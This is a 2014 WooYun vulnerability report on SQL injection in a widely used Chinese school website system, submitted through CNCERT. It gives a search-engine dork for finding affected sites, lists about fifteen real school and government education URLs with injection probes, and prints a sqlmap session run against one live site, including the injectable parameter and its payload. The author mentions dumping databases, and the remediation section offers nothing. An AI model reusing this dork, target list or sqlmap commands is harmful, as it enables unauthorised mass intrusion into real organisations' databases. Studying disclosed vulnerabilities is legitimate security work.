当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065497

漏洞标题:某通用学校系统SQL注入漏洞之二(影响众多学校网站)

相关厂商:Cncert国家互联网应急中心

漏洞作者: 泳少

提交时间:2014-06-20 18:04

修复时间:2014-08-04 18:06

公开时间:2014-08-04 18:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-20: 细节已通知厂商并且等待厂商处理中
2014-06-25: 厂商已经确认,细节仅向厂商公开
2014-06-28: 细节向第三方安全合作伙伴开放
2014-08-19: 细节向核心白帽子及相关领域专家公开
2014-08-29: 细节向普通白帽子公开
2014-09-08: 细节向实习白帽子公开
2014-08-04: 细节向公众公开

简要描述:

RT。。。。。。。第三波。。。乌云各种通用求给力!

详细说明:

inurl:MoralsView.asp


关键字在上。。百度。。

1.png

随便找了点网站

http://www.zsguyi.net/MoralsView.asp?id=10%27
http://lmk.xhqedu.gov.cn/MoralsView.asp?id=17%27
http://sy.xhqedu.gov.cn/MoralsView.asp?id=38%27
http://www.zhongke666.com/MoralsView.asp?id=25%27
http://www.gtxy.cn/xsc/sgzx/MoralsView.asp?id=22%27
http://hlyx.ez.e21.cn/MoralsView.asp?id=19%27
http://www.hcjszx.com/MoralsView.asp?id=29%27
http://www.gfkqzx.com/MoralsView.asp?id=24%27
http://www.zcvc.cn/dgb/MoralsView.asp?id=23%27
http://50jy.com/MoralsView.asp?id=44%27
http://www.ztrdzx.com/MoralsView.asp?id=9%27
http://jx.jxyjxy.net/MoralsView.asp?id=15%27
http://www.hsjyzx.com/school1/MoralsView.asp?id=14%27
http://www.aflc.com.cn/xfjs/MoralsView.asp?id=19%27
http://www.linxisz.com/MoralsView.asp?id=62%27


随便找了几个网站
跑裤子看看先把!

漏洞证明:

[root@Hacker~]# Sqlmap sqlmap -u "http://www.gfkqzx.com/MoralsView.asp?id=15" --
dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:56:01
[15:56:01] [INFO] testing connection to the target url
[15:56:02] [INFO] testing if the url is stable, wait a few seconds
[15:56:03] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[15:56:07] [INFO] testing if GET parameter 'id' is dynamic
[15:56:07] [INFO] confirming that GET parameter 'id' is dynamic
[15:56:08] [WARNING] GET parameter 'id' appears to be not dynamic
[15:56:08] [INFO] heuristics detected web page charset 'GB2312'
[15:56:08] [WARNING] reflective value(s) found and filtering out
[15:56:08] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: Microsoft Access)
[15:56:08] [INFO] testing for SQL injection on GET parameter 'id'
[15:56:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:56:09] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n]
[15:56:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:56:25] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[15:56:35] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 30 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=15 AND 1067=1067
---
[15:56:37] [INFO] testing Microsoft Access
[15:56:37] [INFO] confirming Microsoft Access
[15:56:38] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[15:56:38] [WARNING] on Microsoft Access it is not possible to enumerate the cur
rent user
current user: None
[15:56:38] [WARNING] on Microsoft Access it is not possible to get name of the c
urrent database
current database: None
[15:56:38] [WARNING] on Microsoft Access it is not possible to enumerate databas
es
[15:56:38] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 30 times
[15:56:38] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:56:38] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\SQLMAP~1\Bin\output\www.gfkqzx.com'
[*] shutting down at 15:56:38


由于时间有限。就没怎么跑裤子了。。虽然有些拿不到敏感数据。但是影响还是很大很大的!

修复方案:

你懂的

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-25 14:21

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-20 14:27 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    校无忧的~

  2. 2014-07-20 14:28 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @U神 你看看QQ私聊就知道